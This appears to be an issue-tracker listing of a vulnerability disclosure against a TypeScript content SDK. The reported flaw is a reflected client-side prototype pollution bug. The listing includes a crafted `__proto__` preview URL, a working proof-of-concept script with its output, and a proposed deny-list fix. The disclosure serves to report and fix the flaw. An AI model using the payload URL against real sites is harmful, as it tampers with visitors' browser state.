Reflected client-side prototype pollution via Builder Studio preview URL parameter
- Dominant language
- TypeScript
- Stars
- 8.8k
- Forks
- 1.2k
- Avg merge
- 1d 6h
- Merged PRs (30d)
- 17
Description
reported via email on 5 July 2026:
Hi team,
`packages/sdks/src/functions/get-content/generate-content-url.ts` reads
`builder.userAttributes.*` query parameters from the page URL whenever the URL contains
`builder.preview=BUILDER_STUDIO`, and passes them through `unflatten()`
(`packages/sdks/src/helpers/flatten.ts`) without validating the key path.
```ts
const queryOptionsForUserAttributes = getUserAttributesFromQueryOptions(queryOptions);
const { userAttributes } = unflatten(queryOptionsForUserAttributes);
```
`unflatten()` has no `__proto__`/`prototype`/`constructor` guard, so a URL such as:
```
https://victim-site.example/some-page?builder.preview=BUILDER_STUDIO&builder.userAttributes.__proto__.polluted=PWNED_CLIENT_SIDE
```
pollutes `Object.prototype` in the visitor's browser tab as soon as the SDK builds its next
content-fetch URL, requiring no Builder.io account and only a single click on the crafted link.
We confirmed this live against the unmodified source at commit
`27e443e125c8e7f619335403cc0ecb01e03197a0`. Simulating that URL and calling
`generateContentUrl()`:
- Before: `({}).polluted === undefined`
- After: `({}).polluted === 'PWNED_CLIENT_SIDE'`, on a brand-new, unrelated object in the same
browser context.
### PoC
Environment: cloned repo at commit `27e443e125c8e7f619335403cc0ecb01e03197a0`, Node.js v22.12.0,
`npx tsx`, faking `window`/`document` before import (the standard way to exercise isomorphic
browser-only SDK code from Node, no repo files modified):
```ts
(globalThis as any).document = {};
(globalThis as any).window = {
location: {
search: '?builder.preview=BUILDER_STUDIO&builder.userAttributes.__proto__.polluted=PWNED_CLIENT_SIDE',
pathname: '/some-page',
host: 'victim-site.example',
},
};
import { generateContentUrl } from '/packages/sdks/src/functions/get-content/generate-content-url.ts';
console.log('before:', ({} as any).polluted);
const url = generateContentUrl({ apiKey: 'demo-api-key', model: 'page' } as any);
console.log('url:', url.toString());
console.log('after:', ({} as any).polluted);
```
Actual observed output:
```
=== Reflected client-side prototype pollution via URL query string ===
Simulated victim URL: https://victim-site.example/some-page?builder.preview=BUILDER_STUDIO&builder.userAttributes.__proto__.polluted=PWNED_CLIENT_SIDE
Host (browser-tab) Object.prototype BEFORE:
({}).polluted = undefined
generateContentUrl() returned (normal Content API request URL):
https://cdn.builder.io/api/v3/content/page?apiKey=demo-api-key&limit=30&noTraverse=true&includeRefs=true&omit=meta.componentsUsed&preview=BUILDER_STUDIO&polluted=PWNED_CLIENT_SIDE&userAttributes=%7B%22urlPath%22%3A%22%2Fsome-page%22%2C%22host%22%3A%22victim-site.example%22%7D
Host (browser-tab) Object.prototype AFTER:
({}).polluted = PWNED_CLIENT_SIDE
*** CONFIRMED LIVE: visiting a crafted URL polluted Object.prototype in the visitor's own browser tab ***
```
(full script available upon request)
This is the same bug class as a separate, more severe issue we are reporting in
`packages/sdks/src/functions/set.ts` (server-side, via content block `bindings`), and the fix is
the same: the older Gen1 SDK's `packages/core/src/classes/query-string.class.ts` already has a
`PROPERTY_NAME_DENY_LIST = ['__proto__', 'prototype', 'constructor']` guard for the equivalent
dotted-path parsing; the same check should be added to `unflatten()` in
`packages/sdks/src/helpers/flatten.ts`.
Contributor guide
No contributing guide indexed for this repository
Research direction
Start at packages/sdks/src/functions/get-content/generate-content-url.ts and trace its user-attribute handling into packages/sdks/src/helpers/flatten.ts. Compare the dotted-path protection in packages/core/src/classes/query-string.class.ts, then verify that crafted __proto__, prototype, and constructor paths no longer modify Object.prototype while normal user attributes still work.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- typescript
- Domain
- security
- Issue type
- Bug
- Difficulty
- 2/5
- Estimated time
- 1-3 hours
- Activity status
- Active
- Clarity
- Clearly specified
- Newbie friendliness
- 85/100